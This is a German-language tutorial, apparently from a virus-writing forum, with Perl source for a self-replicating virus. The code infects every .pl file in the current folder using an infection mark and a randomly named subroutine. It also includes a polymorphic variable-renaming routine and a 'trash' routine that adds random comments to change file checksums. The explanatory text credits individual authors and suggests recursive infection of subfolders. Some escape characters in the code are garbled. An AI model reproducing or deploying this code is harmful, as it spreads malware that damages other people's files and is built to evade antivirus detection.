sub varchange{@chase=("A".."Z","a".."z","0".."9");@change=("infect","pfad","activate","encoded");# zu wechselnde Variablen@var;for($i=0;$i<scalar(@change);$i++){$var[$i]=$chase[int(rand(52))].$chase[int(rand(62))].$chase[int(rand(62))].$chase[int(rand(62))].$chase[int(rand(62))];# Zufallsstring erstellen}open(myself,"<","$0");# sich selbst einlesen@myself=<myself>;close(myself);open(me,">","$0");foreach$line(@myself){for($i=0;$i<scalar(@change);$i++){while($line=~ /$change[$i]/){$line=~s/$change[$i]/$var[$i]/;# Strings duchr Zufallsstrings ersetzen}}printme$line;# Zeile wieder in Datei schreiben}close(me);}
#!/usr/bin/perl &viri();sub viri{sub isInfected{$file=$_[0];open(pl,"<",$file);@perl=<pl>;close(pl);return$perl[0]=~ / /;# auf Infection Mark überprüfen}@case=("A".."Z","a".."z","0".."9");$call=$case[int(rand(52))].$case[int(rand(62))].$case[int(rand(62))].$case[int(rand(62))].$case[int(rand(62))];# zufälliger Funktionsnameforeach$pl(glob("*.pl")){if(isInfected($pl)==0){# wenn noch nicht infiziertopen(me,$0);# einlesenopen(target,"<","$pl");$_=<target>;$_=<target>;$new=$1."#!/usr/bin/perl n&$call()n".$_;# 1. Zeile mit Infectionmark und 2. Zeile mit Funktionscall schreibenwhile(<target>){$new=$new.$_;}# Rest der Datei in Variable schreibenseek(me,0,0);while(<me>ne"sub viri{n"){};$new=$new."nsub $call{n";while(<me>){$new=$new.$_;}# Viruscode in Variable schreibenclose(target);open(target,">",$pl);printtarget$new;# Variable in die Datei schreibenclose(target);close(me);}}}
Das Infection-Mark sind 6 Leerzeichen in der ersten Zeile. Jede Perl Datei im aktuellen Ordner wird geöffnet und überprüft, ob sie schon infiziert ist. Ist dies nicht der der Fall, wird in eine neue Variable Die erste Zeile MIT Infection-Mark geschrieben, in die nächste Zeile ein Aufruf für eine zufällige Subroutine (zufällig im Sinne von zufälliger Name). Dann wird der zu infizierende Code in die Variable geschrieben und der Virus-Code als Subroutine mit oben genanntem zufälligem Namen ans Ende der Datei geschrieben. (by me)
Ordnerstruktur nach unten durcharbeiten (rekrussiv):
Wenn man mal nicht nur dem Ordner in dem man sich befindet Dateien infizieren will
sub trash{open(vir,"<","$0");@myself=<vir>;close(vir);open(me,">","$0");foreach$line(@myself){$zahl1=int(rand(501));$zahl2=int(rand(501));printme$line;printme"#$zahl1n";printme"#$zahl2n";}close(me);}
Nach jeder Zeile werden zwei Zeilen “Trashcode” in Form von Kommentaren eingefügt. Kein echter Trashcode aber die Prüfsumme ändert sich (by perforin)